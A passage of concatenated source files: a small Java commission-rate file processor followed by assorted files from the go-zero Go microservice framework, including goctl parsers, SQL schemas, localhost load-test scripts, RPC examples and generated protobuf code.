getYear() { return year; } public void setYear(String year) { this.year = year; } public String getTipCover() { return tipCover; } public void setTipCover(String tipCover) { this.tipCover = tipCover; } public String getLevel() { return level; } public void setLevel(String level) { this.level = level; } public String getCodCover() { return codCover; } public void setCodCover(String codCover) { this.codCover = codCover; } public String getStartDate() { return startDate; } public void setStartDate(String startDate) { this.startDate = startDate; } public String getEndDate() { return endDate; } public void setEndDate(String endDate) { this.endDate = endDate; } public String getChannel() { return channel; } public void setChannel(String channel) { this.channel = channel; } public String getRate() { return rate; } public void setRate(String rate) { this.rate = rate; } public String getTable() { return table; } public void setTable(String table) { this.table = table; } } ``` RateFile.java ```package org.app; public class RateFile { private String prod; private String type; private String cover; private String startDate; private String endDate; private String rate; public RateFile (RateFile otro) { this(otro.prod, otro.type, otro.cover, otro.startDate, otro.endDate, otro.rate); } public String getProd() { return prod; } public void setProd(String prod) { this.prod = prod; } public String getType() { return type; } public void setType(String type) { this.type = type; } public String getCover() { return cover; } public void setCover(String cover) { this.cover = cover; } public String getStartDate() { return startDate; } public RateFile(String prod, String type, String cover, String startDate, String endDate, String rate) { super(); this.prod = prod; this.type = type; this.cover = cover; this.startDate = startDate; this.endDate = endDate; this.rate = rate; } public RateFile() { } public void setStartDate(String startDate) { this.startDate = startDate; } public String getEndDate() { return endDate; } public void setEndDate(String endDate) { this.endDate = endDate; } public String getRate() { return rate; } public void setRate(String rate) { this.rate = rate; } @Override public String toString() { return "RateFile [prod=" + prod + ", type=" + type + ", cover=" + cover + ", startDate=" + startDate + ", endDate=" + endDate + ", rate=" + rate + "]"; } } ``` FileManagement.java ```package org.application; import java.nio.charset.Charset; import java.nio.file.Files; import java.nio.file.Path; import java.nio.file.Paths; public class FileManagement { public void openFile () { } public void openOutput () { // List<String> lines = Arrays.asList("The first line", "The second line"); Path file = Paths.get("PARAM_COMI_OUT.txt"); } } ``` CommissionBaseAPP.java ```package org.application; import java.io.File; import java.io.FileNotFoundException; import java.io.PrintWriter; import java.io.UnsupportedEncodingException; import java.util.Scanner; public class CommissionBaseAPP { public static void main(String[] args) { javax.swing.SwingUtilities.invokeLater(new Runnable() { public void run() { SwingPanel.createAndShowGUI(); } }); String inProd = "338"; String inCover = "BULD"; String inDate = "15-12-2017"; String inRate = "50.00"; BaseStruct rateFile1; BaseStruct rateFile2; // Input file String filename = "PARAM_COMI2.txt"; File file = new File(filename); // Output file // List<String> lines = Arrays.asList("The first line", "The second line"); // Path fileOut = Paths.get("PARAM_COMI_OUT.txt"); PrintWriter writer; try { writer = new PrintWriter("PARAM_COMI_OUT.txt", "UTF-8"); try { Scanner inputStream = new Scanner(file); while (inputStream.hasNext()) { String data = inputStream.nextLine(); System.out.println(data); String[] values = data.split(";"); rateFile1 = new BaseStruct(values[0], values[1], values[2], values[3], values[4], values[5], values[6], values[7], values[8], values[9]); // Localizamos el producto de la entrada if if (inProd.equals(rateFile1.getProduct())) { if (inCover.equals(rateFile1.getCodCover().trim())) { rateFile2 = new BaseStruct(rateFile1); rateFile2.setEndDate("2017-11-27"); rateFile2.setRate(inRate); rateFile1.setEndDate("2017-12-01"); // System.out.println("*****" + rateFile2); // Files.write(fileOut, "Test", Charset.forName("UTF-8")); writer.println(rateFile1.escribeSalida()); writer.println(rateFile2.escribeSalida()); } else { writer.println(rateFile1.escribeSalida()); } } } writer.close(); inputStream.close(); } catch (FileNotFoundException e) { e.printStackTrace(); } } catch (FileNotFoundException e1) { e1.printStackTrace(); } catch (UnsupportedEncodingException e1) { e1.printStackTrace(); } } } ``` CommissionAPP.java ```package org.app; import java.io.File; import java.io.FileNotFoundException; import java.util.Scanner; public class CommissionAPP { @SuppressWarnings("unused") public static void main(String[] args) { /* * Temporary input */ String inProd = "338"; String inCover = "LEVI"; String inDate = "15-12-2017"; String inRate = "50.00"; RateFile rateFile; RateFile rateFileOut; String filename = "base.txt"; File file = new File(filename); try { Scanner inputStream = new Scanner(file); while (inputStream.hasNext()) { String data = inputStream.next(); String[] values = data.split(":"); rateFile = new RateFile(values[0], values[1], values[2], values[3], values[4], values[5]); System.out.println(rateFile); // Localizamos el producto de la entrada if (inProd.equals(rateFile.getProd())) { if (inCover.equals(rateFile.getCover())) { rateFileOut = new RateFile(rateFile); rateFile.setEndDate("25-11-2017"); rateFile.setRate(inRate); System.out.println("*****" + rateFileOut); } } } } catch (FileNotFoundException e) { e.printStackTrace(); } } } ```
zero-all/go-zero
zero-all/go-zero good.sh ```#!/bin/bash hey -z 60s http://localhost:8080/good ``` cpu-accuracy.md ```# cpu监控准确度测试 1. 启动测试pod `make deploy` 2. 通过`kubectl get po -n adhoc`确认`sheeding` pod已经成功运行,通过如下命令进入pod `kubectl exec -it -n adhoc shedding -- sh` 3. 启动负载 `/app # go-cpu-load -p 50 -c 1` 默认`go-cpu-load`是对每个core加上负载的,所以测试里指定了`1000m`,等同于1 core,我们指定`-c 1`让测试更具有可读性 `-p`可以多换几个值测试 4. 验证测试准确性 `kubectl logs -f -n adhoc shedding` 可以看到日志中的`CPU`报告,`1000m`表示`100%`,如果看到`500m`则表示`50%`,每分钟输出一次 `watch -n 5 kubectl top pod -n adhoc` 可以看到`kubectl`报告的`CPU`使用率,两者进行对比,即可知道是否准确 ``` shorturl.sql ```CREATE TABLE `shorturl` ( `shorten` varchar(255) NOT NULL COMMENT 'shorten key', `url` varchar(255) NOT NULL COMMENT 'original url', PRIMARY KEY(`shorten`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4; ``` start.sh ```#!/bin/bash GOOS=linux go build -ldflags="-s -w" server.go docker run --rm -it --cpus=1 -p 8080:8080 -v `pwd`:/app -w /app alpine /app/server rm -f server ``` user.sql ```-- 用户表 -- CREATE TABLE `user` ( `id` bigint(10) NOT NULL AUTO_INCREMENT, `user` varchar(50) NOT NULL DEFAULT '' COMMENT '用户', `name` varchar(255) COLLATE utf8mb4_general_ci NOT NULL DEFAULT '' COMMENT '用户名称', `password` varchar(255) COLLATE utf8mb4_general_ci NOT NULL DEFAULT '' COMMENT '用户密码', `mobile` varchar(255) COLLATE utf8mb4_general_ci NOT NULL DEFAULT '' COMMENT '手机号', `gender` char(5) COLLATE utf8mb4_general_ci NOT NULL COMMENT '男|女|未公开', `nickname` varchar(255) COLLATE utf8mb4_general_ci DEFAULT '' COMMENT '用户昵称', `create_time` timestamp NULL DEFAULT CURRENT_TIMESTAMP, `update_time` timestamp NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP, PRIMARY KEY (`id`), UNIQUE KEY `name_index` (`name`), UNIQUE KEY `user_index` (`user`), UNIQUE KEY `mobile_index` (`mobile`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_general_ci; ``` heavy.sh ```#!/bin/bash hey -z 60s http://localhost:8080/heavy ``` parser.go ```package parser import ( "fmt" "strings" "github.com/tal-tech/go-zero/tools/goctl/model/sql/converter" "github.com/tal-tech/go-zero/tools/goctl/model/sql/model" "github.com/tal-tech/go-zero/tools/goctl/util/stringx" "github.com/xwb1989/sqlparser" ) const ( _ = iota primary unique normal spatial ) const timeImport = "time.Time" type ( Table struct { Name stringx.String PrimaryKey Primary Fields []Field } Primary struct { Field AutoIncrement bool } Field struct { Name stringx.String DataBaseType string DataType string IsPrimaryKey bool IsUniqueKey bool Comment string } KeyType int ) func Parse(ddl string) (*Table, error) { stmt, err := sqlparser.ParseStrictDDL(ddl) if err != nil { return nil, err } ddlStmt, ok := stmt.(*sqlparser.DDL) if !ok { return nil, unSupportDDL } action := ddlStmt.Action if action != sqlparser.CreateStr { return nil, fmt.Errorf("expected [CREATE] action,but found: %s", action) } tableName := ddlStmt.NewName.Name.String() tableSpec := ddlStmt.TableSpec if tableSpec == nil { return nil, tableBodyIsNotFound } columns := tableSpec.Columns indexes := tableSpec.Indexes keyMap := make(map[string]KeyType) for _, index := range indexes { info := index.Info if info == nil { continue } if info.Primary { if len(index.Columns) > 1 { return nil, errPrimaryKey } keyMap[index.Columns[0].Column.String()] = primary continue } // can optimize if len(index.Columns) > 1 { continue } column := index.Columns[0] columnName := column.Column.String() camelColumnName := stringx.From(columnName).ToCamel() // by default, createTime|updateTime findOne is not used. if camelColumnName == "CreateTime" || camelColumnName == "UpdateTime" { continue } if info.Unique { keyMap[columnName] = unique } else if info.Spatial { keyMap[columnName] = spatial } else { keyMap[columnName] = normal } } var fields []Field var primaryKey Primary for _, column := range columns { if column == nil { continue } var comment string if column.Type.Comment != nil { comment = string(column.Type.Comment.Val) } dataType, err := converter.ConvertDataType(column.Type.Type) if err != nil { return nil, err } var field Field field.Name = stringx.From(column.Name.String()) field.DataBaseType = column.Type.Type field.DataType = dataType field.Comment = comment key, ok := keyMap[column.Name.String()] if ok { field.IsPrimaryKey = key == primary field.IsUniqueKey = key == unique if field.IsPrimaryKey { primaryKey.Field = field if column.Type.Autoincrement { primaryKey.AutoIncrement = true } } } fields = append(fields, field) } return &Table{ Name: stringx.From(tableName), PrimaryKey: primaryKey, Fields: fields, }, nil } func (t *Table) ContainsTime() bool { for _, item := range t.Fields { if item.DataType == timeImport { return true } } return false } func ConvertColumn(db, table string, in []*model.Column) (*Table, error) { var reply Table reply.Name = stringx.From(table) keyMap := make(map[string][]*model.Column) for _, column := range in { keyMap[column.Key] = append(keyMap[column.Key], column) } primaryColumns := keyMap["PRI"] if len(primaryColumns) == 0 { return nil, fmt.Errorf("database:%s, table %s: missing primary key", db, table) } if len(primaryColumns) > 1 { return nil, fmt.Errorf("database:%s, table %s: only one primary key expected", db, table) } primaryColumn := primaryColumns[0] primaryFt, err := converter.ConvertDataType(primaryColumn.DataType) if err != nil { return nil, err } primaryField := Field{ Name: stringx.From(primaryColumn.Name), DataBaseType: primaryColumn.DataType, DataType: primaryFt, IsUniqueKey: true, IsPrimaryKey: true, Comment: primaryColumn.Comment, } reply.PrimaryKey = Primary{ Field: primaryField, AutoIncrement: strings.Contains(primaryColumn.Extra, "auto_increment"), } for key, columns := range keyMap { for _, item := range columns { dt, err := converter.ConvertDataType(item.DataType) if err != nil { return nil, err } f := Field{ Name: stringx.From(item.Name), DataBaseType: item.DataType, DataType: dt, IsPrimaryKey: primaryColumn.Name == item.Name, Comment: item.Comment, } if key == "UNI" { f.IsUniqueKey = true } reply.Fields = append(reply.Fields, f) } } return &reply, nil } ``` plot.py ```import click import pandas as pd import matplotlib.pyplot as plt @click.command() @click.option("--csv", default="result.csv") def main(csv): df = pd.read_csv(csv, index_col="seconds") df.plot() plt.show() if __name__ == "__main__": main() ``` cacheconf.go ```package cache type CacheConf = ClusterConf ``` parser.go ```package parser import ( "bufio" "bytes" "errors" "fmt" "io" "io/ioutil" "path/filepath" "strings" "github.com/tal-tech/go-zero/tools/goctl/api/spec" "github.com/tal-tech/go-zero/tools/goctl/util" ) type Parser struct { r *bufio.Reader api *ApiStruct } func NewParser(filename string) (*Parser, error) { apiAbsPath, err := filepath.Abs(filename) if err != nil { return nil, err } api, err := ioutil.ReadFile(filename) if err != nil { return nil, err } apiStruct, err := ParseApi(string(api)) if err != nil { return nil, err } for _, item := range strings.Split(apiStruct.Imports, "\n") { importLine := strings.TrimSpace(item) if len(importLine) > 0 { item := strings.TrimPrefix(importLine, "import") item = strings.TrimSpace(item) item = strings.TrimPrefix(item, `"`) item = strings.TrimSuffix(item, `"`) var path = item if !util.FileExists(item) { path = filepath.Join(filepath.Dir(apiAbsPath), item) } content, err := ioutil.ReadFile(path) if err != nil { return nil, errors.New("import api file not exist: " + item) } importStruct, err := ParseApi(string(content)) if err != nil { return nil, err } if len(importStruct.Imports) > 0 { return nil, errors.New("import api should not import another api file recursive") } apiStruct.Type += "\n" + importStruct.Type apiStruct.Service += "\n" + importStruct.Service } } if len(strings.TrimSpace(apiStruct.Service)) == 0 { return nil, errors.New("api has no service defined") } var buffer = new(bytes.Buffer) buffer.WriteString(apiStruct.Service) return &Parser{ r: bufio.NewReader(buffer), api: apiStruct, }, nil } func (p *Parser) Parse() (api *spec.ApiSpec, err error) { api = new(spec.ApiSpec) var sp = StructParser{Src: p.api.Type} types, err := sp.Parse() if err != nil { return nil, err } api.Types = types var lineNumber = p.api.serviceBeginLine st := newRootState(p.r, &lineNumber) for { st, err = st.process(api) if err == io.EOF { return api, p.validate(api) } if err != nil { return nil, fmt.Errorf("near line: %d, %s", lineNumber, err.Error()) } if st == nil { return api, p.validate(api) } } } ``` client.go ```package main import ( "context" "flag" "fmt" "time" "github.com/tal-tech/go-zero/core/discov" "github.com/tal-tech/go-zero/example/rpc/remote/unary" "github.com/tal-tech/go-zero/zrpc" ) const timeFormat = "15:04:05" func main() { flag.Parse() client := zrpc.MustNewClient(zrpc.RpcClientConf{ Etcd: discov.EtcdConf{ Hosts: []string{"localhost:2379"}, Key: "zrpc", }, }) ticker := time.NewTicker(time.Second) defer ticker.Stop() for { select { case <-ticker.C: conn := client.Conn() greet := unary.NewGreeterClient(conn) ctx, cancel := context.WithTimeout(context.Background(), time.Second) resp, err := greet.Greet(ctx, &unary.Request{ Name: "kevin", }) if err != nil { fmt.Printf("%s X %s\n", time.Now().Format(timeFormat), err.Error()) } else { fmt.Printf("%s => %s\n", time.Now().Format(timeFormat), resp.Greet) } cancel() } } } ``` servicecontext.go ```package svc import ( "shorturl/api/internal/config" "shorturl/rpc/transform/transformer" "github.com/tal-tech/go-zero/zrpc" ) type ServiceContext struct { Config config.Config Transformer transformer.Transformer } func NewServiceContext(c config.Config) *ServiceContext { return &ServiceContext{ Config: c, Transformer: transformer.NewTransformer(zrpc.MustNewClient(c.Transform)), } } ``` filter.go ```package main import ( "fmt" "github.com/tal-tech/go-zero/core/stringx" ) func main() { filter := stringx.NewTrie([]string{ "AV演员", "苍井空", "AV", "日本AV女优", "AV演员色情", }, stringx.WithMask('?')) safe, keywords, found := filter.Filter("日本AV演员兼电视、电影演员。苍井空AV女优是xx出道, 日本AV女优们最精彩的表演是AV演员色情表演") fmt.Println(safe) fmt.Println(keywords) fmt.Println(found) } ``` flatmap.go ```package main import ( "fmt" "github.com/tal-tech/go-zero/core/mr" ) var ( persons = []string{"john", "mary", "alice", "bob"} friends = map[string][]string{ "john": {"harry", "hermione", "ron"}, "mary": {"sam", "frodo"}, "alice": {}, "bob": {"jamie", "tyrion", "cersei"}, } ) func main() { var allFriends []string for v := range mr.Map(func(source chan<- interface{}) { for _, each := range persons { source <- each } }, func(item interface{}, writer mr.Writer) { writer.Write(friends[item.(string)]) }, mr.WithWorkers(100)) { allFriends = append(allFriends, v.([]string)...) } fmt.Println(allFriends) } ``` servicegroup.go ```package service import ( "log" "github.com/tal-tech/go-zero/core/proc" "github.com/tal-tech/go-zero/core/syncx" "github.com/tal-tech/go-zero/core/threading" ) type ( Starter interface { Start() } Stopper interface { Stop() } Service interface { Starter Stopper } ServiceGroup struct { services []Service stopOnce func() } ) func NewServiceGroup() *ServiceGroup { sg := new(ServiceGroup) sg.stopOnce = syncx.Once(sg.doStop) return sg } func (sg *ServiceGroup) Add(service Service) { sg.services = append(sg.services, service) } // There should not be any logic code after calling this method, because this method is a blocking one. // Also, quitting this method will close the logx output. func (sg *ServiceGroup) Start() { proc.AddShutdownListener(func() { log.Println("Shutting down...") sg.stopOnce() }) sg.doStart() } func (sg *ServiceGroup) Stop() { sg.stopOnce() } func (sg *ServiceGroup) doStart() { routineGroup := threading.NewRoutineGroup() for i := range sg.services { service := sg.services[i] routineGroup.RunSafe(func() { service.Start() }) } routineGroup.Wait() } func (sg *ServiceGroup) doStop() { for _, service := range sg.services { service.Stop() } } func WithStart(start func()) Service { return startOnlyService{ start: start, } } func WithStarter(start Starter) Service { return starterOnlyService{ Starter: start, } } type ( stopper struct { } startOnlyService struct { start func() stopper } starterOnlyService struct { Starter stopper } ) func (s stopper) Stop() { } func (s startOnlyService) Start() { s.start() } ``` genpb.go ```package generator import ( "bytes" "path/filepath" "strings" conf "github.com/tal-tech/go-zero/tools/goctl/config" "github.com/tal-tech/go-zero/tools/goctl/rpc/execx" "github.com/tal-tech/go-zero/tools/goctl/rpc/parser" ) func (g *defaultGenerator) GenPb(ctx DirContext, protoImportPath []string, proto parser.Proto, _ *conf.Config) error { dir := ctx.GetPb() cw := new(bytes.Buffer) base := filepath.Dir(proto.Src) cw.WriteString("protoc ") for _, ip := range protoImportPath { cw.WriteString(" -I=" + ip) } cw.WriteString(" -I=" + base) cw.WriteString(" " + proto.Name) if strings.Contains(proto.GoPackage, "/") { cw.WriteString(" --go_out=plugins=grpc:" + ctx.GetMain().Filename) } else { cw.WriteString(" --go_out=plugins=grpc:" + dir.Filename) } command := cw.String() g.log.Debug(command) _, err := execx.Run(command, "") return err } ``` main.go ```package main import ( "flag" "math" "net/http" "time" "github.com/tal-tech/go-zero/core/logx" "github.com/tal-tech/go-zero/core/service" "github.com/tal-tech/go-zero/rest" "github.com/tal-tech/go-zero/rest/httpx" ) var ( port = flag.Int("port", 3333, "the port to listen") timeout = flag.Int64("timeout", 1000, "timeout of milliseconds") cpu = flag.Int64("cpu", 500, "cpu threshold") ) type Request struct { User string `form:"user,optional"` } func handle(w http.ResponseWriter, r *http.Request) { var req Request err := httpx.Parse(r, &req) if err != nil { http.Error(w, err.Error(), http.StatusBadRequest) return } var result float64 for i := 0; i < 30000; i++ { result += math.Sqrt(float64(i)) } time.Sleep(time.Millisecond * 5) httpx.OkJson(w, result) } func main() { flag.Parse() logx.Disable() engine := rest.MustNewServer(rest.RestConf{ ServiceConf: service.ServiceConf{ Log: logx.LogConf{ Mode: "console", }, }, Port: *port, Timeout: *timeout, CpuThreshold: *cpu, }) defer engine.Stop() engine.AddRoute(rest.Route{ Method: http.MethodGet, Path: "/", Handler: handle, }) engine.Start() } ``` util.go ```package parser import ( "bufio" "github.com/tal-tech/go-zero/tools/goctl/api/spec" ) var emptyType spec.Type func GetType(api *spec.ApiSpec, t string) spec.Type { for _, tp := range api.Types { if tp.Name == t { return tp } } return emptyType } func isLetterDigit(r rune) bool { return (r >= 'a' && r <= 'z') || (r >= 'A' && r <= 'Z') || ('0' <= r && r <= '9') } func isSpace(r rune) bool { return r == ' ' || r == '\t' } func isSlash(r rune) bool { return r == '/' } func isNewline(r rune) bool { return r == '\n' || r == '\r' } func read(r *bufio.Reader) (rune, error) { ch, _, err := r.ReadRune() return ch, err } func readLine(r *bufio.Reader) (string, error) { line, _, err := r.ReadLine() if err != nil { return "", err } else { return string(line), nil } } func skipSpaces(r *bufio.Reader) error { for { next, err := read(r) if err != nil { return err } if !isSpace(next) { return unread(r) } } } func unread(r *bufio.Reader) error { return r.UnreadRune() } ``` spec.go ```package spec type ( Annotation struct { Name string Properties map[string]string Value string } ApiSpec struct { Info Info Types []Type Service Service } Group struct { Annotations []Annotation Routes []Route } Info struct { Title string Desc string Version string Author string Email string } Member struct { Annotations []Annotation Name string // 数据类型字面值,如:string、map[int]string、[]int64、[]*User Type string // it can be asserted as BasicType: int、bool、 // PointerType: *string、*User、 // MapType: map[${BasicType}]interface、 // ArrayType:[]int、[]User、[]*User // InterfaceType: interface{} // Type Expr interface{} Tag string // Deprecated Comment string // 换成标准struct中将废弃 // 成员尾部注释说明 Comments []string // 成员头顶注释说明 Docs []string IsInline bool } Route struct { Annotations []Annotation Method string Path string RequestType Type ResponseType Type } Service struct { Name string Groups []Group } Type struct { Name string Annotations []Annotation Members []Member } // 系统预设基本数据类型 BasicType struct { StringExpr string Name string } PointerType struct { StringExpr string // it can be asserted as BasicType: int、bool、 // PointerType: *string、*User、 // MapType: map[${BasicType}]interface、 // ArrayType:[]int、[]User、[]*User // InterfaceType: interface{} // Type Star interface{} } MapType struct { StringExpr string // only support the BasicType Key string // it can be asserted as BasicType: int、bool、 // PointerType: *string、*User、 // MapType: map[${BasicType}]interface、 // ArrayType:[]int、[]User、[]*User // InterfaceType: interface{} // Type Value interface{} } ArrayType struct { StringExpr string // it can be asserted as BasicType: int、bool、 // PointerType: *string、*User、 // MapType: map[${BasicType}]interface、 // ArrayType:[]int、[]User、[]*User // InterfaceType: interface{} // Type ArrayType interface{} } InterfaceType struct { StringExpr string // do nothing,just for assert } TimeType struct { StringExpr string } StructType struct { StringExpr string } ) func (spec *ApiSpec) ContainsTime() bool { for _, item := range spec.Types { members := item.Members for _, member := range members { if _, ok := member.Expr.(*TimeType); ok { return true } } } return false } ``` doc.go ```package docgen import ( "bytes" "fmt" "html/template" "strconv" "strings" "github.com/tal-tech/go-zero/core/stringx" "github.com/tal-tech/go-zero/tools/goctl/api/gogen" "github.com/tal-tech/go-zero/tools/goctl/api/spec" "github.com/tal-tech/go-zero/tools/goctl/api/util" ) const ( markdownTemplate = ` ### {{.index}}. {{.routeComment}} 1. 路由定义 - Url: {{.uri}} - Method: {{.method}} - Request: {{.requestType}} - Response: {{.responseType}} 2. 类型定义 {{.responseContent}} ` ) func genDoc(api *spec.ApiSpec, dir string, filename string) error { fp, _, err := util.MaybeCreateFile(dir, "", filename) if err != nil { return err } defer fp.Close() var builder strings.Builder for index, route := range api.Service.Routes() { routeComment, _ := util.GetAnnotationValue(route.Annotations, "doc", "summary") if len(routeComment) == 0 { routeComment = "N/A" } responseContent, err := responseBody(api, route) if err != nil { return err } t := template.Must(template.New("markdownTemplate").Parse(markdownTemplate)) var tmplBytes bytes.Buffer err = t.Execute(&tmplBytes, map[string]string{ "index": strconv.Itoa(index + 1), "routeComment": routeComment, "method": strings.ToUpper(route.Method), "uri": route.Path, "requestType": "`" + stringx.TakeOne(route.RequestType.Name, "-") + "`", "responseType": "`" + stringx.TakeOne(route.ResponseType.Name, "-") + "`", "responseContent": responseContent, }) if err != nil { return err } builder.Write(tmplBytes.Bytes()) } _, err = fp.WriteString(strings.Replace(builder.String(), "&#34;", `"`, -1)) return err } func responseBody(api *spec.ApiSpec, route spec.Route) (string, error) { tps := util.GetLocalTypes(api, route) value, err := gogen.BuildTypes(tps) if err != nil { return "", err } return fmt.Sprintf("\n\n```golang\n%s\n```\n", value), nil } ``` util.go ```package dartgen import ( "log" "os" "reflect" "strings" "github.com/tal-tech/go-zero/tools/goctl/api/spec" "github.com/tal-tech/go-zero/tools/goctl/api/util" ) func lowCamelCase(s string) string { if len(s) < 1 { return "" } s = util.ToCamelCase(util.ToSnakeCase(s)) return util.ToLower(s[:1]) + s[1:] } func pathToFuncName(path string) string { if !strings.HasPrefix(path, "/") { path = "/" + path } if !strings.HasPrefix(path, "/api") { path = "/api" + path } path = strings.Replace(path, "/", "_", -1) path = strings.Replace(path, "-", "_", -1) camel := util.ToCamelCase(path) return util.ToLower(camel[:1]) + camel[1:] } func tagGet(tag, k string) (reflect.Value, error) { v, _ := util.TagLookup(tag, k) out := strings.Split(v, ",")[0] return reflect.ValueOf(out), nil } func convertMemberType(api *spec.ApiSpec) { for i, t := range api.Types { for j, mem := range t.Members { api.Types[i].Members[j].Type = goTypeToDart(mem.Type) } } } func goTypeToDart(t string) string { t = strings.Replace(t, "*", "", -1) if strings.HasPrefix(t, "[]") { return "List<" + goTypeToDart(t[2:]) + ">" } if strings.HasPrefix(t, "map") { tys, e := util.DecomposeType(t) if e != nil { log.Fatal(e) } if len(tys) != 2 { log.Fatal("Map type number !=2") } return "Map<String," + goTypeToDart(tys[1]) + ">" } switch t { case "string": return "String" case "int", "int32", "int64": return "int" case "float", "float32", "float64": return "double" case "bool": return "bool" default: return t } } func isDirectType(s string) bool { return isAtomicType(s) || isListType(s) && isAtomicType(getCoreType(s)) } func isAtomicType(s string) bool { switch s { case "String", "int", "double", "bool": return true default: return false } } func isListType(s string) bool { return strings.HasPrefix(s, "List<") } func isClassListType(s string) bool { return strings.HasPrefix(s, "List<") && !isAtomicType(getCoreType(s)) } func getCoreType(s string) string { if isAtomicType(s) { return s } if isListType(s) { s = strings.Replace(s, "List<", "", -1) return strings.Replace(s, ">", "", -1) } return s } func fileExists(path string) bool { _, err := os.Stat(path) return !os.IsNotExist(err) } ``` mr.go ```package main import ( "log" "time" "github.com/tal-tech/go-zero/core/mr" "github.com/tal-tech/go-zero/core/timex" ) type user struct{} func (u *user) User(uid int64) (interface{}, error) { time.Sleep(time.Millisecond * 30) return nil, nil } type store struct{} func (s *store) Store(pid int64) (interface{}, error) { time.Sleep(time.Millisecond * 50) return nil, nil } type order struct{} func (o *order) Order(pid int64) (interface{}, error) { time.Sleep(time.Millisecond * 40) return nil, nil } var ( userRpc user storeRpc store orderRpc order ) func main() { start := timex.Now() _, err := productDetail(123, 345) if err != nil { log.Printf("product detail error: %v", err) return } log.Printf("productDetail time: %v", timex.Since(start)) // the data processing res, err := checkLegal([]int64{1, 2, 3}) if err != nil { log.Printf("check error: %v", err) return } log.Printf("check res: %v", res) } type ProductDetail struct { User interface{} Store interface{} Order interface{} } func productDetail(uid, pid int64) (*ProductDetail, error) { var pd ProductDetail err := mr.Finish(func() (err error) { pd.User, err = userRpc.User(uid) return }, func() (err error) { pd.Store, err = storeRpc.Store(pid) return }, func() (err error) { pd.Order, err = orderRpc.Order(pid) return }) if err != nil { return nil, err } return &pd, nil } func checkLegal(uids []int64) ([]int64, error) { r, err := mr.MapReduce(func(source chan<- interface{}) { for _, uid := range uids { source <- uid } }, func(item interface{}, writer mr.Writer, cancel func(error)) { uid := item.(int64) ok, err := check(uid) if err != nil { cancel(err) } if ok { writer.Write(uid) } }, func(pipe <-chan interface{}, writer mr.Writer, cancel func(error)) { var uids []int64 for p := range pipe { uids = append(uids, p.(int64)) } writer.Write(uids) }) if err != nil { return nil, err } return r.([]int64), nil } func check(uid int64) (bool, error) { // do something check user legal time.Sleep(time.Millisecond * 20) return true, nil } ``` servicecontext.go ```package svc import "github.com/tal-tech/go-zero/zrpc" type ServiceContext struct { Client zrpc.Client } ``` util.go ```package mongo import "strings" const mongoAddrSep = "," func FormatAddr(hosts []string) string { return strings.Join(hosts, mongoAddrSep) } ``` vars.go ```package executors import "time" const defaultFlushInterval = time.Second type Execute func(tasks []interface{}) ``` facade.go ```package discov import ( "github.com/tal-tech/go-zero/core/discov/internal" "github.com/tal-tech/go-zero/core/logx" ) type ( Facade struct { endpoints []string registry *internal.Registry } FacadeListener interface { OnAdd(key, val string) OnDelete(key string) } ) func NewFacade(endpoints []string) Facade { return Facade{ endpoints: endpoints, registry: internal.GetRegistry(), } } func (f Facade) Client() internal.EtcdClient { conn, err := f.registry.GetConn(f.endpoints) logx.Must(err) return conn } func (f Facade) Monitor(key string, l FacadeListener) { f.registry.Monitor(f.endpoints, key, listenerAdapter{l}) } type listenerAdapter struct { l FacadeListener } func (la listenerAdapter) OnAdd(kv internal.KV) { la.l.OnAdd(kv.Key, kv.Val) } func (la listenerAdapter) OnDelete(kv internal.KV) { la.l.OnDelete(kv.Key) } ``` valuer.go ```package mapping type ( Valuer interface { Value(key string) (interface{}, bool) } MapValuer map[string]interface{} ) func (mv MapValuer) Value(key string) (interface{}, bool) { v, ok := mv[key] return v, ok } ``` server.go ```package main import ( "fmt" "io" "github.com/tal-tech/go-zero/core/conf" "github.com/tal-tech/go-zero/example/rpc/remote/stream" "github.com/tal-tech/go-zero/zrpc" "google.golang.org/grpc" ) type StreamGreetServer int func (gs StreamGreetServer) Greet(s stream.StreamGreeter_GreetServer) error { ctx := s.Context() for { select { case <-ctx.Done(): fmt.Println("cancelled by client") return ctx.Err() default: req, err := s.Recv() if err == io.EOF { return nil } if err != nil { return err } fmt.Println("=>", req.Name) greet := "hello, " + req.Name fmt.Println("<=", greet) s.Send(&stream.StreamResp{ Greet: greet, }) } } } func main() { var c zrpc.RpcServerConf conf.MustLoad("etc/config.json", &c) server := zrpc.MustNewServer(c, func(grpcServer *grpc.Server) { stream.RegisterStreamGreeterServer(grpcServer, StreamGreetServer(0)) }) server.Start() } ``` transform.pb.go ```// Code generated by protoc-gen-go. // source: transform.proto // DO NOT EDIT! /* Package transform is a generated protocol buffer package. It is generated from these files: transform.proto It has these top-level messages: ExpandReq ExpandResp ShortenReq ShortenResp */ package transform import proto "github.com/golang/protobuf/proto" import fmt "fmt" import math "math" import ( context "golang.org/x/net/context" grpc "google.golang.org/grpc" ) // Reference imports to suppress errors if they are not otherwise used. var _ = proto.Marshal var _ = fmt.Errorf var _ = math.Inf // This is a compile-time assertion to ensure that this generated file // is compatible with the proto package it is being compiled against. // A compilation error at this line likely means your copy of the // proto package needs to be updated. const _ = proto.ProtoPackageIsVersion2 // please upgrade the proto package type ExpandReq struct { Shorten string `protobuf:"bytes,1,opt,name=shorten" json:"shorten,omitempty"` } func (m *ExpandReq) Reset() { *m = ExpandReq{} } func (m *ExpandReq) String() string { return proto.CompactTextString(m) } func (*ExpandReq) ProtoMessage() {} func (*ExpandReq) Descriptor() ([]byte, []int) { return fileDescriptor0, []int{0} } func (m *ExpandReq) GetShorten() string { if m != nil { return m.Shorten } return "" } type ExpandResp struct { Url string `protobuf:"bytes,1,opt,name=url" json:"url,omitempty"` } func (m *ExpandResp) Reset() { *m = ExpandResp{} } func (m *ExpandResp) String() string { return proto.CompactTextString(m) } func (*ExpandResp) ProtoMessage() {} func (*ExpandResp) Descriptor() ([]byte, []int) { return fileDescriptor0, []int{1} } func (m *ExpandResp) GetUrl() string { if m != nil { return m.Url } return "" } type ShortenReq struct { Url string `protobuf:"bytes,1,opt,name=url" json:"url,omitempty"` } func (m *ShortenReq) Reset() { *m = ShortenReq{} } func (m *ShortenReq) String() string { return proto.CompactTextString(m) } func (*ShortenReq) ProtoMessage() {} func (*ShortenReq) Descriptor() ([]byte, []int) { return fileDescriptor0, []int{2} } func (m *ShortenReq) GetUrl() string { if m != nil { return m.Url } return "" } type ShortenResp struct { Shorten string `protobuf:"bytes,1,opt,name=shorten" json:"shorten,omitempty"` } func (m *ShortenResp) Reset() { *m = ShortenResp{} } func (m *ShortenResp) String() string { 